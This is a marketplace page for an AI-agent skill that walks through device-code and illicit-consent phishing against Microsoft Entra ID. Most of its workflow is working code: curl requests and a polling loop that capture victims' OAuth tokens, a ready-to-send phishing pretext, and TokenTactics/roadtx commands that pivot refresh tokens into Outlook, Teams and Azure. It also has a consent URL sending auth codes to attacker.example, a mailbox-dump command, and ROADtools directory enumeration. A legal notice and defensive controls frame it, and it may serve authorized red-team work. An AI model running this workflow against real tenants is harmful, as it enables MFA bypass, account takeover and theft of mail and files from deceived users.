본문으로 건너뛰기
cccskills
무료GitHub에 공개

attacking-oauth-with-device-code-phishing

Simulate device-code and app-consent phishing in an explicitly authorized Microsoft Entra ID environment. Assess whether authentication and consent controls prevent token misuse, map reachable Microsoft 365 resources, and document findings with remediation recommendations.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Run OAuth 2.0 device-code and illicit-consent phishing attacks against Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized red-team engagements simulating device-code or consent-grant phishing against a tenant you have explicit written permission to test.

설치 방법 보기

이럴 때 유용합니다

  • Run authorized Microsoft 365 phishing exercises
  • Validate Conditional Access and MFA controls
  • Test restrictions on app consent
  • Document token misuse impact and remediation options

포함된 파일(5)

  • SKILL.md14.8 KB
  • LICENSE11.0 KB
  • references/api-reference.md3.0 KB
  • references/standards.md1.5 KB
  • scripts/agent.py6.5 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Attacking OAuth with Device-Code Phishing

Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.

Overview

The OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short user_code and a device_code, displays the user_code and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the "device" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (https://microsoft.com/devicelogin) and enter the attacker-generated user_code. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK T1528 – Steal Application Access Token).

Microsoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the illicit consent grant ("OAuth phishing"): the attacker registers a multi-tenant app and tricks the victim into clicking an /adminconsent or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation/access mapping with ROADtools.

The defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with offline_access scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.

When to Use

  • During an authorized red-team or assumed-breach engagement targeting Microsoft 365 / Entra ID where social-engineering is in scope
  • When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques
  • When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent
  • When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls
  • When building detections (paired with the blue-team hunting-saas-sso-token-abuse skill) and you need realistic telemetry

Prerequisites

  • Written authorization / rules of engagement explicitly permitting phishing and token theft against the target tenant
  • A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)
  • Linux or Windows attacker host with Python 3.8+ and PowerShell 7+
  • TokenTactics (PowerShell) and ROADtools (Python) installed:
    # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security
    pip install roadtools roadtools_auth
    # roadtx (ROADtools Token eXchange) ships in roadtools_auth
    roadtx --help
    
    # TokenTactics v2 (rvrsh3ll)
    git clone https://github.com/rvrsh3ll/TokenTactics.git
    pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1"
    
  • Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes

Objectives

  • Initiate an OAuth device-code request against Entra ID using a first-party client ID
  • Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page
  • Poll the token endpoint and capture the victim's access and refresh tokens
  • Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access
  • Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app
  • Enumerate accessible resources and data with ROADtools to demonstrate impact
  • Document MFA bypass and produce remediation recommendations

MITRE ATT&CK Mapping

IDTechniqueApplication in this skill
T1528Steal Application Access TokenPhishing the device-code flow / consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating

Related techniques frequently chained: T1566 Phishing (delivery), T1550.001 Application Access Token (replaying stolen tokens), T1098.003 Account Manipulation: Additional Cloud Roles (consent grant persistence).

Workflow

Phase 1: Initiate the Device-Code Request

The attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID d3590ed6-52b3-4102-aeff-aad2292ab01c is commonly used because it is pre-authorized for broad first-party resources.

  1. Request a device code directly via the token endpoint:

    # client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token
    curl -s -X POST \
      'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \
      -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
      -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json
    
  2. The JSON response contains the fields you weaponize:

    {
      "user_code": "B7HVQXKZ2",
      "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...",
      "verification_uri": "https://microsoft.com/devicelogin",
      "expires_in": 900,
      "interval": 5,
      "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate."
    }
    
  3. Note the 15-minute (expires_in: 900) validity window — the pretext must drive the victim to authenticate quickly.

    Equivalent using TokenTactics (handles polling automatically):

    Import-Module ./TokenTactics/TokenTactics.psd1
    # Generates a device code and begins polling; prints the user_code to phish
    Get-AzureToken -Client MSGraph
    

Phase 2: Deliver the Pretext

The phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.

  1. Craft a pretext that references the genuine https://microsoft.com/devicelogin URL and the user_code (e.g., "IT is enrolling your account in the new Teams Rooms device; open microsoft.com/devicelogin and enter code B7HVQXKZ2 within 15 minutes").
  2. Send through sanctioned phishing infrastructure. Hyperlinked codes/URLs frequently land in spam, so present the URL and code as plain text.
  3. Time delivery to the start of a polling cycle so the code is fresh.

Phase 3: Poll and Capture Tokens

While the victim authenticates and approves, poll the token endpoint with the device_code until tokens are issued.

  1. Poll at the server-specified interval (5 seconds); authorization_pending is expected until the victim completes sign-in:
    DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])")
    while true; do
      RESP=$(curl -s -X POST \
        'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \
        -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \
        -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
        -d "device_code=${DEVICE_CODE}")
      echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; }
      echo "$RESP" | grep -q authorization_pending || echo "$RESP"
      sleep 5
    done
    
  2. On success the response yields access_token, refresh_token, id_token, expires_in, and the granted scope.
  3. Decode the access token to confirm the captured identity, audience, and scopes:
    python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
    

Phase 4: Refresh Across Microsoft 365 Resources

The refresh token (with offline_access) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.

  1. Use TokenTactics refresh functions to pivot the refresh token to specific services:
    # $response holds the device-code result from Get-AzureToken
    $rt = $response.refresh_token
    Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # mailbox access
    Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph
    Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams
    Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM
    Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt
    
  2. Equivalently with roadtx, redeem the refresh token for a new resource:
    roadtx refreshtokento \
      -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
      -c d3590ed6-52b3-4102-aeff-aad2292ab01c \
      -s https://graph.microsoft.com/.default
    
  3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):
    Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
    

Phase 5: Illicit Consent Grant Variant

Instead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.

  1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as Mail.Read, Files.ReadWrite.All, offline_access.
  2. Build a user-consent URL and phish it:
    https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
      client_id=<ATTACKER_APP_ID>
      &response_type=code
      &redirect_uri=https://attacker.example/callback
      &response_mode=query
      &scope=offline_access%20Mail.Read%20Files.ReadWrite.All
      &state=12345
    
  3. When the victim consents, exchange the returned code for tokens:
    curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \
      -d 'client_id=<ATTACKER_APP_ID>' \
      -d 'grant_type=authorization_code' \
      -d 'code=<AUTH_CODE>' \
      -d 'redirect_uri=https://attacker.example/callback' \
      -d 'client_secret=<APP_SECRET>' \
      -d 'scope=offline_access Mail.Read Files.ReadWrite.All'
    
  4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (Remove-MgServicePrincipalOauth2PermissionGrant).

Phase 6: Enumerate Impact with ROADtools

  1. Authenticate roadrecon with the captured token / refresh token and dump the directory:
    roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
      -c d3590ed6-52b3-4102-aeff-aad2292ab01c
    roadrecon gather
    roadrecon gui   # browse users, groups, app registrations, role assignments
    
  2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.
  3. Record exactly what data and roles the stolen tokens reached for the engagement report.

Tools and Resources

ToolPurposeSource
TokenTactics v2Generate device codes and refresh tokens across M365 serviceshttps://github.com/rvrsh3ll/TokenTactics
ROADtools (roadrecon / roadtx)Token exchange, directory enumeration, access mappinghttps://github.com/dirkjanm/ROADtools
AADInternalsEntra ID attack/recon PowerShell toolkithttps://github.com/Gerenios/AADInternals
RFC 8628OAuth 2.0 Device Authorization Grant specificationhttps://datatracker.ietf.org/doc/html/rfc8628
Microsoft / Storm-2372 advisoryDevice-code phishing campaign analysishttps://www.microsoft.com/en-us/security/blog/
Mandiant M-TrendsOAuth token theft trend reportinghttps://cloud.google.com/security/resources/m-trends

Defensive Recommendations

ControlEffect
Conditional Access policy blocking the device-code flow (authenticationFlows) for users who do not need itRemoves the attack surface for most users
Phishing-resistant MFA (FIDO2 / passkeys) + token protection (token binding)Bound tokens cannot be replayed off the victim device
Restrict user consent to verified publishers / require admin consentBlocks illicit-consent grants
Sign-in frequency + shorter session lifetimes on untrusted networksLimits refresh-token longevity
Monitor AADNonInteractiveUserSignInLogs for device-code grants and anomalous token useDetection (see hunting-saas-sso-token-abuse)

Validation Criteria

  • Device-code request returned a valid user_code and device_code
  • Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)
  • Token endpoint polled and access_token + refresh_token captured
  • Access token decoded to confirm captured identity, audience, and scopes
  • Refresh token successfully exchanged for at least one additional M365 resource
  • MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)
  • Illicit-consent variant tested or documented as out of scope
  • Accessible resources enumerated with ROADtools and recorded
  • Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Assess exposure of Windows secrets protected by DPAPI, the operating system’s data protection service, during authorized security tests. Guide examination and decryption of saved credentials and browser data using available user sessions, credentials, or backup keys.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assessing saved credential exposure in authorized tests
  • Examining collected DPAPI files offline
  • Reviewing protected browser and RDP credentials
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Assess Shadow Credentials account takeover during authorized Active Directory testing. Examine permissions that allow public key registration, validate authentication without a password reset, and document credential cleanup, detection opportunities, and access control changes needed for remediation.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Assessing risky permissions identified in BloodHound
  • Validating account takeover without resetting a password
  • Generating directory change records during security exercises
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Prepare for CMMC Level 2, a cybersecurity certification for defense contractors. Define the systems handling controlled information, review security requirements, calculate the SPRS assessment score, and organize remediation plans and evidence into a readiness report.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Define the assessment scope for systems handling controlled information
  • Calculate an SPRS score and prioritize unmet security requirements
  • Prepare security plans, remediation milestones, and assessment evidence
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Create disk images for investigations using dd or dcfldd on Linux. The workflow covers write protection, bit-for-bit copying, hash checks to verify integrity, and documentation of the acquisition process.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Preserving a suspect drive before investigation
  • Creating evidence copies of USB devices or memory cards
  • Verifying that a disk image matches its source
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Review Active Directory permissions with ldap3, a Python library for directory queries. Identify excessive access granted to non-administrative accounts, explain potential privilege escalation paths, and produce a JSON report with affected objects and remediation recommendations.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Auditing excessive Active Directory permissions
  • Investigating privilege escalation paths from ordinary accounts
  • Reporting affected objects and permission remediation recommendations
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

Inspect suspicious Android APK files without running them. Analyze permissions, app components, suspicious code patterns, and network indicators, then produce a JSON risk report to support malware triage and detection rule development.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Triage suspicious APK files without running them
  • Inspect dangerous permission combinations and suspicious API calls
  • Extract network indicators for malware detection rules
mukul975/Anthropic-Cybersecurity-Skills3.5만2026년 8월 31일 업데이트

mukul975의 스킬 모두 보기

이 스킬의 문제 신고